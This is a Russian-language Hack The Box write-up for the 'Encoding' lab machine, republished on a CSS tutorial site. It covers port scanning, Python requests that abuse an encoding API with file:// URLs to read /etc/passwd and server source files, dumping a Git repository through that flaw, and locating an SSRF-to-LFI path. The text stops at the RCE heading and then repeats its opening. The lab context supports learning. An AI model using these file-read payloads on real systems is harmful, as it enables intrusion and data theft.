HTB Encoding. Эксплуатируем Git-репозиторий - «Новости» » Самоучитель CSS
Меню
Наши новости
Учебник CSS

Невозможно отучить людей изучать самые ненужные предметы.

Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3

Надо знать обо всем понемножку, но все о немногом.

Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы

Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)

Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода

Самоучитель CSS

Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5

Новости

Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости

Справочник CSS

Справочник от А до Я
HTML, CSS, JavaScript

Афоризмы

Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы

Видео Уроки


Видео уроки
Наш опрос



Наши новости

       
19-04-2023, 00:00
HTB Encoding. Эксплуатируем Git-репозиторий - «Новости»
Рейтинг:
Категория: Новости

Hack The Box. Уро­вень слож­ности — сред­ний.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем IP-адрес машины в /etc/hosts:


10.10.11.198 encoding.htb

И запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Apache 2.4.52. Боль­ше ничего инте­рес­ного в резуль­татах ска­ниро­вания нет, поэто­му идем изу­чать веб‑сер­вер.


Глав­ная стра­ница сай­та encoding.htb 

Точка входа


Бег­лый прос­мотр сай­та выводит нас на API, который работа­ет на отдель­ном под­домене. Добав­ляем новый под­домен в файл /etc/hosts.


10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb
Стра­ница API

Об­рати вни­мание, что зап­рашива­емая стра­ница переда­ется в парамет­ре page. В таких слу­чаях сто­ит сра­зу про­верить наличие LFI. Одна­ко най­ти уяз­вимость не уда­лось. Зато на стра­нице есть при­меры кода, как работать с API для кодиро­вания фай­лов, получа­емых по ука­зан­ному URL.


Код для кодиро­вания фай­ла

Нем­ного под­пра­вим код, что­бы пос­ле получе­ния закоди­рован­ного фай­ла обра­ботать ответ и декоди­ровать файл.


import requests
import json
import base64
json_data = {
'action': 'b64encode',
'file_url' : 'http://10.10.14.78/test.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(response.text.strip())
print(base64.b64decode(data["data"]).decode())

А теперь зап­росим файл со сво­его веб‑сер­вера:


python3 -m http.server 80
Ло­ги веб‑сер­вера
HTB Encoding. Эксплуатируем Git-репозиторий - «Новости»
Ре­зуль­тат зап­роса

Код работа­ет, файл по ссыл­ке получен. А теперь про­буем изме­нить про­токол с http:// на file://, что­бы попытать­ся получить локаль­ный файл с сер­вера. Читать будем /etc/passwd, для чего изме­ним в коде параметр file_url.


'file_url' : 'file:///etc/passwd'
Со­дер­жимое фай­ла /etc/passwd

И получа­ем воз­можность читать про­изволь­ные фай­лы.


 

Точка опоры


 

Чтение произвольных файлов


Что­бы про­читать фай­лы сай­та, нам нуж­но знать путь к кор­невому катало­гу. В этом нам поможет файл кон­фигура­ции веб‑сер­вера.


'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'
Со­дер­жимое фай­ла /etc/apache2/sites-enabled/000-default.conf

В ито­ге получа­ем пути к кор­невым катало­гам трех сай­тов. Добав­ляем запись для под­домена image в файл /etc/hosts, нес­мотря на то что дос­туп к это­му сай­ту раз­решен толь­ко с локаль­ного хос­та.


10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htb

Пер­вым делом чита­ем файл index.php, что­бы рас­крыть новые под­клю­чаемые фай­лы.


'file_url' : 'file:///var/www/image/index.php'
Со­дер­жимое фай­ла image/index.php

Рас­кры­ваем новый под­клю­чаемый файл utils.php. Прос­мотрим и его.


'file_url' : 'file:///var/www/image/utils.php'
Со­дер­жимое фай­ла image/utils.php

Изу­чая исходный код, отме­чаем для себя, что в катало­ге есть репози­торий Git. Давай най­дем спо­соб ска­чать его весь.


 

Git


Для дам­па все­го репози­тория мож­но исполь­зовать ути­литу Dumper. Но так как мы чита­ем фай­лы не нап­рямую, а через уяз­вимость на сер­вере, скрипт нуж­но нем­ного модер­низиро­вать. Най­дем коман­ду, где выпол­няет­ся зап­рос с помощью curl.


Ко­ман­да зап­роса к веб‑сер­веру

Из­меним ее для работы через сер­вис кодиро­вания.


Те­перь запус­каем скрипт и получа­ем весь репози­торий.


Ре­зуль­тат работы скрип­та

Для ана­лиза Git я обыч­но исполь­зую прог­рамму gitk. Запус­каем ее из дирек­тории, где содер­жится каталог .git. Мы и так можем читать фай­лы на сер­вере, поэто­му меня прос­то инте­ресо­вало, какие фай­лы и катало­ги на нем есть.


Ре­пози­торий в gitk

Сра­зу обра­щаем вни­мание на action_handler.php, о котором мы преж­де не зна­ли.


'file_url' : 'file:///var/www/image/actions/action_handler.php'
Со­дер­жимое фай­ла action_handler.php

И видим очень опас­ное исполь­зование фун­кции include. Так в нее переда­ется при­нима­емый GET-параметр page. Но мы не можем обра­тить­ся к это­му фай­лу нап­рямую, так как дос­туп к сай­ту image дос­тупен толь­ко с локаль­ного хос­та. Эту LFI мож­но рас­кру­тить до RCE, но нам нуж­на еще уяз­вимость SSRF, что­бы обра­тить­ся к сай­ту image.


Ни­чего инте­рес­ного боль­ше най­ти не получи­лось, поэто­му вер­немся к пер­вому сай­ту и прос­каниру­ем фай­лы PHP с помощью feroxbuster.


feroxbuster -uhttp://haxtables.htb/-wphp_files_common.txt -d 1
Ре­зуль­тат ска­ниро­вания фай­лов PHP

На­ходим файл handler.php. Сра­зу получа­ем его содер­жимое.


'file_url' : 'file:///var/www/html/handler.php'
Со­дер­жимое фай­ла handler.php

Сер­вер обра­баты­вает параметр uri_path и переда­ет его в фун­кцию make_api_call. Получим код этой фун­кции из фай­ла utils.php.


'file_url' : 'file:///var/www/api/utils.php'
Со­дер­жимое фай­ла api/utils.php

Эта фун­кция нуж­на для отправ­ки зап­роса на ука­зан­ный URL. Вот мы и узна­ли спо­соб выпол­нить зап­рос к action_handler.php, где мы наш­ли вызов include.


 

PHP include RCE


Hack The Box. Уро­вень слож­ности — сред­ний. warning Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. Разведка Сканирование портов До­бав­ляем IP-адрес машины в /etc/hosts: 10. 10. 11. 198 encoding. htb И запус­каем ска­ниро­вание пор­тов. Справка: сканирование портов Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та: ports = $(nmap -p- --min-rate =500 $1 | grep ^_

Теги: CSS

Просмотров: 226
Комментариев: 0:   19-04-2023, 00:00
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

 
Еще новости по теме:



Другие новости по теме:
Комментарии для сайта Cackle